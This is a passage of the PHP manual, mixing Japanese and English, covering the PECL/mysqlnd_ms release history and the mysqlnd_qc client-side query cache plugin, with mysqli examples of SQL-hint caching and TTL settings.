  • New statistics to monitor the Fabric XML RPC call sharding.lookup_servers: fabric_sharding_lookup_servers_success, fabric_sharding_lookup_servers_failure, fabric_sharding_lookup_servers_time_total, fabric_sharding_lookup_servers_bytes_total, fabric_sharding_lookup_servers_xml_failure.

  • New functions related to MySQL Fabric:
mysqlnd_ms_fabric_select_shard(),
mysqlnd_ms_fabric_select_global(),
mysqlnd_ms_dump_servers().

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.5 series

1.5.1-stable

  • Release date: 06/2013
  • Motto/theme: Sharding support, improved transaction support

注意:

This is the current stable series. Use this version in production environments.

The documentation is complete.

1.5.0-alpha

  • Release date: 03/2013
  • Motto/theme: Sharding support, improved transaction support

Bug fixes

  • Fixed #60605 PHP segmentation fault when mysqlnd_ms is enabled.

  • Setting transaction stickiness disables all load balancing, including automatic failover, for the duration of a transaction. So far connection switches could have happened in the middle of a transaction in multi-master configurations and during automatic failover although transaction monitoring had detected transaction boundaries properly.

  • BC break and bug fix. SQL hints enforcing the use of a specific kind of server (MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH, MYSQLND_MS_LAST_USED_SWITCH) are ignored for the duration of a transaction of transaction stickiness is enabled and transaction boundaries have been detected properly.

    This is a change in behaviour. However, it is also a bug fix and a step to align behaviour. If, in previous versions, transaction stickiness, one of the above listed SQL hints and the quality of service filtering was combined it could happened that the SQL hints got ignored. In some case the SQL hints did work, in other cases they did not. The new behaviour is more consistent. SQL hints will always be ignore for the duration of a transaction, if transaction stickiness is enabled.

    Please note, transaction boundary detection continues to be based on API call monitoring. SQL commands controlling transactions are not monitored.

  • BC break and bug fix. Calls to mysqlnd_ms_set_qos() will fail when done in the middle of a transaction if transaction stickiness is enabled. Connection switches are not allowed for the duration of a transaction. Changing the quality of service likely results on a different set of servers qualifying for query execution, possibly making it necessary to switch connections. Thus, the call is not allowed in during an active transaction. The quality of server can, however, be changed in between transactions.

Feature changes

  • Introduced the node_group filter. The filter lets you organize servers (master and slaves) into groups. Queries can be directed to a certain group of servers by prefixing the query statement with a SQL hint/comment that contains the groups configured name. Grouping can be used for partitioning and sharding, and also to optimize for local caching. In the case of sharding, a group name can be thought of like a shard key. All queries for a given shard key will be executed on the configured shard. Note: both the client and server must support sharding for sharding to function with mysqlnd_ms.

  • Extended configuration file validation during PHP startup (RINIT). An E_WARNING level error will be thrown if the configuration file can not be read (permissions), is empty, or the file (JSON) could not be parsed. Warnings may appear in log files, which depending on how PHP is configured.

    Distributions that aim to provide a pre-configured setup, including a configuration file stub, are asked to put {} into the configuration file to prevent this warning about an invalid configuration file.

    Further configuration file validation is done when parsing sections upon opening a connection. Please, note that there may still be situations when an invalid plugin configuration file does not lead to proper error messages but a failure to connect.

  • As of PHP 5.5.0, improved support for transaction boundaries detection was added for mysqli. The mysqli extension has been modified to use the new C API calls of the mysqlnd library to begin, commit, and rollback a transaction or savepoint. If trx_stickiness is used to enable transaction aware load balancing, the mysqli_begin(), mysqli_commit() and mysqli_rollback() functions will now be monitered by the plugin, to go along with the mysqli_autocommit() function that was already supported. All SQL features to control transactions are also available through the improved mysqli transaction control related functions. This means that it is not required to issue SQL statements instead of using API calls. Applications using the appropriate API calls can be load balanced by PECL/mysqlnd_ms in a completely transaction-aware way.

    Please note, PDO_MySQL has not been updated yet to utilize the new mysqlnd API calls. Thus, transaction boundary detection with PDO_MySQL continues to be limited to the monitoring by passing in PDO::ATTR_AUTOCOMMIT to PDO::setAttribute().

  • Introduced trx_stickiness=on. This trx_stickiness option differs from trx_stickiness=master as it tries to execute a read-only transaction on a slave, if quality of service (consistency level) allows the use of a slave. Read-only transactions were introduced in MySQL 5.6, and they offer performance gains.

  • Query cache support is considered beta if used with the mysqli API. It should work fine with primary copy based clusters. For all other APIs, this feature continues to be called experimental.

  • The code examples in the mysqlnd_ms source were updated.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.4 series

1.4.2-stable

  • Release date: 08/2012
  • Motto/theme: Tweaking based on user feedback

1.4.1-beta

  • Release date: 08/2012
  • Motto/theme: Tweaking based on user feedback

Bug fixes

  • Fixed build with PHP 5.5

1.4.0-alpha

  • Release date: 07/2012
  • Motto/theme: Tweaking based on user feedback

Feature changes

  • BC break: Renamed plugin configuration setting ini_file to config_file. In early versions the plugin configuration file used ini style. Back then the configuration setting was named accordingly. It has now been renamed to reflect the newer file format and to distinguish it from PHP's own ini file (configuration directives file).

  • Introduced new default charset setting server_charset to allow proper escaping before a connection is opened. This is most useful when using lazy connections, which are a default.

  • Introduced wait_for_gtid_timeout setting to throttle slave reads that need session consistency. If global transaction identifier are used and the service level is set to session consistency, the plugin tries to find up-to-date slaves. The slave status check is done by a SQL statement. If nothing else is set, the slave status is checked only one can the search for more up-to-date slaves continues immediately thereafter. Setting wait_for_gtid_timeout instructs the plugin to poll a slaves status for wait_for_gtid_timeout seconds if the first execution of the SQL statement has shown that the slave is not up-to-date yet. The poll will be done once per second. This way, the plugin will wait for slaves to catch up and throttle the client.

  • New failover strategy loop_before_master. By default the plugin does no failover. It is possible to enable automatic failover if a connection attempt fails. Upto version 1.3 only master strategy existed to failover to a master if a slave connection fails. loop_before_master is similar but tries all other slaves before attempting to connect to the master if a slave connection fails.

    The number of attempts can be limited using the max_retries option. Failed hosts can be remembered and skipped in load balancing for the rest of the web request. max_retries and remember_failed are considered experimental although decent stability is given. Syntax and semantics may change in the future without prior notice.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.3 series

1.3.2-stable

  • Release date: 04/2012
  • Motto/theme: see 1.3.0-alpha

Bug fixes

  • Fixed problem with multi-master where although in a transaction the queries to the master weren't sticky and were spread all over the masters (RR). Still not sticky for Random. Random_once is not affected.

1.3.1-beta

  • Release date: 04/2012
  • Motto/theme: see 1.3.0-alpha

Bug fixes

  • Fixed problem with building together with QC.

1.3.0-alpha

  • Release date: 04/2012
  • Motto/theme: Query caching through quality-of-service concept

The 1.3 series aims to improve the performance of applications and the overall load of an asynchronous MySQL cluster, for example, a MySQL cluster using MySQL Replication. This is done by transparently replacing a slave access with a local cache access, if the application allows it by setting an appropriate quality of service flag. When using MySQL replication a slave can serve stale data. An application using MySQL replication must continue to work correctly with stale data. Given that the application is know to work correctly with stale data, the slave access can transparently be replace with a local cache access.

PECL/mysqlnd_qc serves as a cache backend. PECL/mysqlnd_qc supports use of various storage locations, among others main memory, APC and MEMCACHE.

Feature changes

  • Added cache option to quality-of-service (QoS) filter.

    • New configure option enable-mysqlnd-ms-cache-support
    • New constant MYSQLND_MS_HAVE_CACHE_SUPPORT.
    • New constant MYSQLND_MS_QOS_OPTION_CACHE to be used with mysqlnd_ms_set_qos().

  • Support for built-in global transaction identifier feature of MySQL 5.6.5-m8 or newer.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.2 series

1.2.1-beta

  • Release date: 01/2012
  • Motto/theme: see 1.2.0-alpha

Minor test changes.

1.2.0-alpha

  • Release date: 11/2011
  • Motto/theme: Global Transaction ID injection and quality-of-service concept

In version 1.2 the focus continues to be on supporting MySQL database clusters with asynchronous replication. The plugin tries to make using the cluster introducing a quality-of-service filter which applications can use to define what service quality they need from the cluster. Service levels provided are eventual consistency with optional maximum age/slave slag, session consistency and strong consistency.

Additionally the plugin can do client-side global transaction id injection to make manual master failover easier.

Feature changes

  • Introduced quality-of-service (QoS) filter. Service levels provided by QoS filter:

    • eventual consistency, optional option slave lag
    • session consistency, optional option GTID
    • strong consistency

  • Added the mysqlnd_ms_set_qos() function to set the required connection quality at runtime. The new constants related to mysqlnd_ms_set_qos() are:

    • MYSQLND_MS_QOS_CONSISTENCY_STRONG
    • MYSQLND_MS_QOS_CONSISTENCY_SESSION
    • MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL
    • MYSQLND_MS_QOS_OPTION_GTID
    • MYSQLND_MS_QOS_OPTION_AGE

  • Added client-side global transaction id injection (GTID).

  • New statistics related to GTID:

    • gtid_autocommit_injections_success
    • gtid_autocommit_injections_failure
    • gtid_commit_injections_success
    • gtid_commit_injections_failure
    • gtid_implicit_commit_injections_success
    • gtid_implicit_commit_injections_failure

  • Added mysqlnd_ms_get_last_gtid() to fetch the last global transaction id.

  • Enabled support for multi master without slaves.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.1 series

1.1.0

  • Release date: 09/2011
  • Motto/theme: Cover replication basics with production quality

The 1.1 and 1.0 series expose a similar feature set. Internally, the 1.1 series has been refactored to plan for future feature additions. A new configuration file format has been introduced, and limitations have been lifted. And the code quality and quality assurance has been improved.

Feature changes

  • Added the (chainable) filter concept:

    • BC break: mysqlnd_ms_set_user_pick_server() has been removed. Thehttp://svn.php.net/viewvc/pecl/mysqlnd_ms/trunk/ user filter has been introduced to replace it. The filter offers similar functionality, but see below for an explanation of the differences.

  • New powerful JSON based configuration syntax.
  • Lazy connections improved: security relevant, and state changing commands are covered.
  • Support for (native) prepared statements.

  • New statistics: use_master_guess, use_slave_guess.

    • BC break: Semantics of statistics changed for use_slave, use_master. Future changes are likely. Please see, mysqlnd_ms_get_stats().

  • List of broadcasted messages extended by ssl_set.
  • Library calls now monitored to remember settings for lazy connections: change_user, select_db, set_charset, set_autocommit.
  • Introduced mysqlnd_ms.disable_rw_split. The configuration setting allows using the load balancing and lazy connection functionality independently of read write splitting.

Bug fixes

  • Fixed PECL #22724 - Server switching (mysqlnd_ms_query_is_select() case sensitive)
  • Fixed PECL #22784 - Using mysql_connect and mysql_select_db did not work
  • Fixed PECL #59982 - Unusable extension with --enable-mysqlnd-ms-table-filter. Use of the option is NOT supported. You must not used it. Added note to m4.
  • Fixed Bug #60119 - host="localhost" lost in mysqlnd_ms_get_last_used_connection()

The mysqlnd_ms_set_user_pick_server() function was removed, and replaced in favor of a new user filter. You can no longer set a callback function using mysqlnd_ms_set_user_pick_server() at runtime, but instead have to configure it in the plugins configuration file. The user filter will pass the same arguments to the callback as before. Therefore, you can continue to use the same procedural function as a callback.callback It is no longer possible to use static class methods, or class methods of an object instance, as a callback. Doing so will cause the function executing a statement handled by the plugin to emit an E_RECOVERABLE_ERROR level error, which might look like: "(mysqlnd_ms) Specified callback (picker) is not a valid callback." Note: this may halt your application.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.0 series

1.0.1-alpha

  • Release date: 04/2011
  • Motto/theme: bug fix release

1.0.0-alpha

  • Release date: 04/2011
  • Motto/theme: Cover replication basics to test user feedback

The first release of practical use. It features basic automatic read-write splitting, SQL hints to overrule automatic redirection, load balancing of slave requests, lazy connections, and optional, automatic use of the master after the first write.

The public feature set is close to that of the 1.1 release.

1.0.0-pre-alpha

  • Release date: 09/2010
  • Motto/theme: Proof of concept

Initial check-in. Essentially a demo of the mysqlnd plugin API.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd クエリ結果キャッシュプラグイン

  • はじめに
  • Quickstart and Examples
    • Architecture and Concepts
    • Setup
    • Caching queries
    • Setting the TTL
    • Pattern based caching
    • Slam defense
    • Finding cache candidates
    • Measuring cache efficiency
    • Beyond TTL: user-defined storage
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • 定義済み定数
  • mysqlnd_qc 関数
    • mysqlnd_qc_clear_cache — Flush all cache contents
    • mysqlnd_qc_get_available_handlers — Returns a list of available storage handler
    • mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available
    • mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache
    • mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache
    • mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache
    • mysqlnd_qc_set_cache_condition — Set conditions for automatic caching
    • mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached
    • mysqlnd_qc_set_storage_handler — Change current storage handler
    • mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler
  • Change History
    • PECL/mysqlnd_qc 1.2 series
    • PECL/mysqlnd_qc 1.1 series
    • PECL/mysqlnd_qc 1.0 series

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このプラグインは、簡単に使えるクライアント側でのクエリキャッシュ機能を追加します。 mysqlnd を使うすべての MySQL 用 PHP 拡張モジュールで使えます。

PHP 5.3.3 以降で、PHP の MySQL Native Driver (mysqlnd) は C の内部プラグイン API を提供するようになりました。 クエリキャッシュプラグインのように C でプラグインを書いて、 mysqlnd の機能を拡張できるようになったのです。

クエリキャッシュプラグインのような mysqlnd 用プラグインの機能の大部分は、 ユーザーの視点からはプラグインの存在を意識せずに使えます。このプラグインはすべての PHP アプリケーションをサポートし、そしてすべての MySQL 用 PHP 拡張モジュール (mysqli、 mysql、 PDO_MYSQL) に対応します。既存の API には何も手を加えません。

クエリをキャッシュするためのアプリケーション側での変更は、ほとんど必要ありません。 キャッシュの動作モードは二種類あります。すべてのクエリをキャッシュする (非推奨) か、あるいは特定の SQL ヒントを付加したクエリだけをキャッシュする (推奨) かのいずれかです。

主要な機能

  • 透過的に組み込め、簡単に使える

    • すべての MySQL 用 PHP 拡張モジュールに対応

    • API を変更しない

    • アプリケーション側での変更はほんの少しだけ

  • 柔軟な無効化戦略

    • 有効期限 (TTL)

    • ユーザー定義

  • さまざまなスコープと生存期間をもつストレージ

    • デフォルト (ハッシュ、プロセスのメモリ)

    • APC

    • MEMCACHE

    • sqlite

    • ユーザー定義

  • 組み込みの slam defense による cache stampeding の回避。

制限

現在のリリース版であるバージョン 1.0.1 では、PECL mysqlnd_qc は PHP 5.4 に対応していません。バージョン 1.1.0-alpha で対応します。

プリペアドステートメントや非バッファクエリには完全に対応しています。 したがって、このプラグインは mysqli や PDO_MySQL が発行するすべてのステートメントをキャッシュできます。 PHP の MySQL API でプリペアドステートメントに対応しているのはこの二つだけです。

名前の由来

mysqlnd_qc は mysqlnd query cache plugin の略です。 概念実証のためのコードをざっと書きあげるときに、この名前を選びました。 当時は、まさかそのコードを使い続けることになるとは思わなかったのです。 PECL/mysqlnd_qc は client-side query result set cache と呼ばれることもあります。

User Contributed Notes

There are no user contributed notes for this page.


Quickstart and Examples

目次

  • Architecture and Concepts
  • Setup
  • Caching queries
  • Setting the TTL
  • Pattern based caching
  • Slam defense
  • Finding cache candidates
  • Measuring cache efficiency
  • Beyond TTL: user-defined storage

The mysqlnd query cache plugin is easy to use. This quickstart will demo typical use-cases, and provide practical advice on getting started.

It is strongly recommended to read the reference sections in addition to the quickstart. It is safe to begin with the quickstart. However, before using the plugin in mission critical environments we urge you to read additionally the background information from the reference sections.

Most of the examples use the mysqli extension because it is the most feature complete PHP MySQL extension. However, the plugin can be used with any PHP MySQL extension that is using the mysqlnd library.

User Contributed Notes

There are no user contributed notes for this page.


Architecture and Concepts

The query cache plugin is implemented as a PHP extension. It is written in C and operates under the hood of PHP. During the startup of the PHP interpreter, it gets registered as a mysqlnd plugin to replace selected mysqlnd C methods. Hereby, it can change the behaviour of any PHP MySQL extension (mysqli, PDO_MYSQL, mysql) compiled to use the mysqlnd library without changing the extensions API. This makes the plugin compatible with each and every PHP MySQL application. Because existing APIs are not changed, it is almost transparent to use. Please, see the mysqlnd plugin API description for a discussion of the advantages of the plugin architecture and a comparison with proxy based solutions.

Transparent to use

At PHP run time PECL/mysqlnd_qc can proxy queries send from PHP (mysqlnd) to the MySQL server. It then inspects the statement string to find whether it shall cache its results. If so, result set is cached using a storage handler and further executions of the statement are served from the cache for a user-defined period. The Time to Live (TTL) of the cache entry can either be set globally or on a per statement basis.

A statement is either cached if the plugin is instructed to cache all statements globally using a or, if the query string starts with the SQL hint (/*qc=on*/). The plugin is capable of caching any query issued by calling appropriate API calls of any of the existing PHP MySQL extensions.

Flexible storage: various storage handler

Various storage handler are supported to offer different scopes for cache entries. Different scopes allow for different degrees in sharing cache entries among clients.

  • default (built-in): process memory, scope: process, one or more web requests depending on PHP deployment model used

  • APC: shared memory, scope: single server, multiple web requests

  • SQLite: memory or file, scope: single server, multiple web requests

  • MEMCACHE: main memory, scope: single or multiple server, multiple web requests

  • user (built-in): user-defined - any, scope: user-defined - any

Support for the APC, SQLite and MEMCACHE storage handler has to be enabled at compile time. The default and user handler are built-in. It is possible to switch between compiled-in storage handlers on a per query basis at run time. However, it is recommended to pick one storage handler and use it for all cache entries.

Built-in slam defense to avoid overloading

To avoid overload situations the cache plugin has a built-in slam defense mechanism. If a popular cache entries expires many clients using the cache entries will try to refresh the cache entry. For the duration of the refresh many clients may access the database server concurrently. In the worst case, the database server becomes overloaded and it takes more and more time to refresh the cache entry, which in turn lets more and more clients try to refresh the cache entry. To prevent this from happening the plugin has a slam defense mechanism. If slam defense is enabled and the plugin detects an expired cache entry it extends the life time of the cache entry before it refreshes the cache entry. This way other concurrent accesses to the expired cache entry are still served from the cache for a certain time. The other concurrent accesses to not trigger a concurrent refresh. Ideally, the cache entry gets refreshed by the client which extended the cache entries lifespan before other clients try to refresh the cache and potentially cause an overload situation.

Unique approach to caching

PECL/mysqlnd_qc has a unique approach to caching result sets that is superior to application based cache solutions. Application based solutions first fetch a result set into PHP variables. Then, the PHP variables are serialized for storage in a persistent cache, and then unserialized when fetching. The mysqlnd query cache stores the raw wire protocol data sent from MySQL to PHP in its cache and replays it, if still valid, on a cache hit. This way, it saves an extra serialization step for a cache put that all application based solutions have to do. It can store the raw wire protocol data in the cache without having to serialize into a PHP variable first and deserializing the PHP variable for storing in the cache again.

User Contributed Notes

There are no user contributed notes for this page.


Setup

The plugin is implemented as a PHP extension. See also the installation instructions to install the » PECL/mysqlnd_qc extension.

Compile or configure the PHP MySQL extension (mysqli, PDO_MYSQL, mysql) that you plan to use with support for the mysqlnd library. PECL/mysqlnd_qc is a plugin for the mysqlnd library. To use the plugin with any of the existing PHP MySQL extensions (APIs), the extension has to use the mysqlnd library.

Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_qc.enable_qc.

例1 Enabling the plugin (php.ini)

mysqlnd_qc.enable_qc=1

User Contributed Notes

There are no user contributed notes for this page.


Caching queries

There are four ways to trigger caching of a query.

  • Use of SQL hints on a per query basis
  • User supplied callbacks to decide on a per query basis, for example, using mysqlnd_qc_is_select()
  • mysqlnd_set_cache_condition() for rule based automatic per query decisions
  • mysqlnd_qc.cache_by_default = 1 to cache all queries blindly

Use of SQL hints and mysqlnd_qc.cache_by_default = 1 are explained below. Please, refer to the function reference on mysqlnd_qc_is_select() for a description of using a callback and, mysqlnd_qc_set_cache_condition() on how to set rules for automatic caching.

A SQL hint is a SQL standards compliant comment. As a SQL comment it is ignored by the database. A statement is considered eligible for caching if it either begins with the SQL hint enabling caching or it is a SELECT statement.

An individual query which shall be cached must begin with the SQL hint /*qc=on*/. It is recommended to use the PHP constant MYSQLND_QC_ENABLE_SWITCH instead of using the string value.

  • not eligible for caching and not cached: INSERT INTO test(id) VALUES (1)

  • not eligible for caching and not cached: SHOW ENGINES

  • eligible for caching but uncached: SELECT id FROM test

  • eligible for caching and cached: /*qc=on*/SELECT id FROM test

The examples SELECT statement string is prefixed with the MYSQLND_QC_ENABLE_SWITCH SQL hint to enable caching of the statement. The SQL hint must be given at the very beginning of the statement string to enable caching.

例1 Using the MYSQLND_QC_ENABLE_SWITCH SQL hint

mysqlnd_qc.enable_qc=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* Will be cached because of the SQL hint */
$start = microtime(true);
$res   = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 1");

var_dump($res->fetch_assoc());
$res->free();

printf("Total time uncached query: %.6fs\n", microtime(true) - $start);

/* Cache hit */
$start = microtime(true);
$res   = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 1");

var_dump($res->fetch_assoc());
$res->free();

printf("Total time cached query: %.6fs\n", microtime(true) - $start);
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  ["id"]=>
  string(1) "1"
}
Total time uncached query: 0.000740s
array(1) {
  ["id"]=>
  string(1) "1"
}
Total time cached query: 0.000098s

If nothing else is configured, as it is the case in the quickstart example, the plugin will use the built-in default storage handler. The default storage handler uses process memory to hold a cache entry. Depending on the PHP deployment model, a PHP process may serve one or more web requests. Please, consult the web server manual for details. Details make no difference for the examples given in the quickstart.

The query cache plugin will cache all queries regardless if the query string begins with the SQL hint which enables caching or not, if the PHP configuration directive mysqlnd_qc.cache_by_default is set to 1. The setting mysqlnd_qc.cache_by_default is evaluated by the core of the query cache plugins. Neither the built-in nor user-defined storage handler can overrule the setting.

The SQL hint /*qc=off*/ can be used to disable caching of individual queries if mysqlnd_qc.cache_by_default = 1 It is recommended to use the PHP constant MYSQLND_QC_DISABLE_SWITCH instead of using the string value.

例2 Using the MYSQLND_QC_DISABLE_SWITCH SQL hint

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* Will be cached although no SQL hint is present because of mysqlnd_qc.cache_by_default = 1*/
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

$mysqli->query("DELETE FROM test WHERE id = 1");

/* Cache hit - no automatic invalidation and still valid! */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* Cache miss - query must not be cached because of the SQL hint */
$res = $mysqli->query("/*" . MYSQLND_QC_DISABLE_SWITCH . "*/SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();
?>

上の例の出力は以下となります。

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "1"
}
NULL

PECL/mysqlnd_qc forbids caching of statements for which at least one column from the statements result set shows no table name in its meta data by default. This is usually the case for columns originating from SQL functions such as NOW() or LAST_INSERT_ID(). The policy aims to prevent pitfalls if caching by default is used.

例3 Example showing which type of statements are not cached

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");

for ($i = 0; $i < 3; $i++) {

    $start = microtime(true);

    /* Note: statement will not be cached because of NOW() use */
    $res = $mysqli->query("SELECT id, NOW() AS _time FROM test");
    $row = $res->fetch_assoc();

    /* dump results */
    var_dump($row);

    printf("Total time: %.6fs\n", microtime(true) - $start);

    /* pause one second */
    sleep(1);
}
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:10"
}
Total time: 0.000540s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:11"
}
Total time: 0.000555s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:12"
}
Total time: 0.000549s

It is possible to enable caching for all statements including those which has columns in their result set for which MySQL reports no table, such as the statement from the example. Set mysqlnd_qc.cache_no_table = 1 to enable caching of such statements. Please, note the difference in the measured times for the above and below examples.

例4 Enabling caching for all statements using the mysqlnd_qc.cache_no_table ini setting

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
mysqlnd_qc.cache_no_table=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");

for ($i = 0; $i < 3; $i++) {

    $start = microtime(true);

    /* Note: statement will not be cached because of NOW() use */
    $res = $mysqli->query("SELECT id, NOW() AS _time FROM test");
    $row = $res->fetch_assoc();

    /* dump results */
    var_dump($row);

    printf("Total time: %.6fs\n", microtime(true) - $start);

    /* pause one second */
    sleep(1);
}
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000546s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000187s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000167s

注意:

Although mysqlnd_qc.cache_no_table = 1 has been created for use with mysqlnd_qc.cache_by_default = 1 it is bound it. The plugin will evaluate the mysqlnd_qc.cache_no_table whenever a query is to be cached, no matter whether caching has been enabled using a SQL hint or any other measure.

User Contributed Notes

laurent at pele dot org 05-Jul-2017 03:00
This query cache feature enhances a lot performance of my web site, unfortunately, installation dll are available on windows only up to version 5.5. For example, if I use it on php 5.6, there is an error message on startup saying it is not compatible


Setting the TTL

The default invalidation strategy of the query cache plugin is Time to Live (TTL). The built-in storage handlers will use the default TTL defined by the PHP configuration value mysqlnd_qc.ttl unless the query string contains a hint for setting a different TTL. The TTL is specified in seconds. By default cache entries expire after 30 seconds

The example sets mysqlnd_qc.ttl=3 to cache statements for three seconds by default. Every second it updates a database table record to hold the current time and executes a SELECT statement to fetch the record from the database. The SELECT statement is cached for three seconds because it is prefixed with the SQL hint enabling caching. The output verifies that the query results are taken from the cache for the duration of three seconds before they are refreshed.

例1 Setting the TTL with the mysqlnd_qc.ttl ini setting

mysqlnd_qc.enable_qc=1
mysqlnd_qc.ttl=3
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id VARCHAR(255))");

for ($i = 0; $i < 7; $i++) {

    /* update DB row  */
    if (!$mysqli->query("DELETE FROM test") ||
        !$mysqli->query("INSERT INTO test(id) VALUES (NOW())"))
      /* Of course, a real-life script should do better error handling */
      die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

    /* select latest row but cache results */
    $query  = "/*" . MYSQLND_QC_ENABLE_SWITCH . "*/";
    $query .= "SELECT id AS _time FROM test";
    if (!($res = $mysqli->query($query)) ||
        !($row = $res->fetch_assoc()))
    {
      printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
    }
    $res->free();
    printf("Wall time %s - DB row time %s\n", date("H:i:s"), $row['_time']);

    /* pause one second */
    sleep(1);
}
?>

上の例の出力は、 たとえば以下のようになります。

Wall time 14:55:59 - DB row time 2012-01-11 14:55:59
Wall time 14:56:00 - DB row time 2012-01-11 14:55:59
Wall time 14:56:01 - DB row time 2012-01-11 14:55:59
Wall time 14:56:02 - DB row time 2012-01-11 14:56:02
Wall time 14:56:03 - DB row time 2012-01-11 14:56:02
Wall time 14:56:04 - DB row time 2012-01-11 14:56:02
Wall time 14:56:05 - DB row time 2012-01-11 14:56:05

As can be seen from the example, any TTL based cache can serve stale data. Cache entries are not automatically invalidated, if underlying data changes. Applications using the default TTL invalidation strategy must be able to work correctly with stale data.

A user-defined cache storage handler can implement any invalidation strategy to work around this limitation.

The default TTL can be overruled using the SQL hint /*qc_tt=seconds*/. The SQL hint must be appear immediately after the SQL hint which enables caching. It is recommended to use the PHP constant MYSQLND_QC_TTL_SWITCH instead of using the string value.

例2 Setting TTL with SQL hints

<?php
$start = microtime(true);

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

printf("Default TTL\t: %d seconds\n", ini_get("mysqlnd_qc.ttl"));

/* Will be cached for 2 seconds */
$sql = sprintf("/*%s*//*%s%d*/SELECT id FROM test WHERE id = 1", MYSQLND_QC_ENABLE_SWITCH, MYSQLND_QC_TTL_SWITCH, 2);
$res = $mysqli->query($sql);

var_dump($res->fetch_assoc());
$res->free();

$mysqli->query("DELETE FROM test WHERE id = 1");
sleep(1);

/* Cache hit - no automatic invalidation and still valid! */
$res = $mysqli->query($sql);
var_dump($res->fetch_assoc());
$res->free();

sleep(2);

/* Cache miss - cache entry has expired */
$res = $mysqli->query($sql);
var_dump($res->fetch_assoc());
$res->free();

printf("Script runtime\t: %d seconds\n", microtime(true) - $start);
?>

上の例の出力は、 たとえば以下のようになります。

Default TTL     : 30 seconds
array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "1"
}
NULL
Script runtime  : 3 seconds

User Contributed Notes

There are no user contributed notes for this page.


Pattern based caching

An application has three options for telling PECL/mysqlnd_qc whether a particular statement shall be used. The most basic approach is to cache all statements by setting mysqlnd_qc.cache_by_default = 1. This approach is often of little practical value. But it enables users to make a quick estimation about the maximum performance gains from caching. An application designed to use a cache may be able to prefix selected statements with the appropriate SQL hints. However, altering an applications source code may not always be possible or desired, for example, to avoid problems with software updates. Therefore, PECL/mysqlnd_qc allows setting a callback which decides if a query is to be cached.

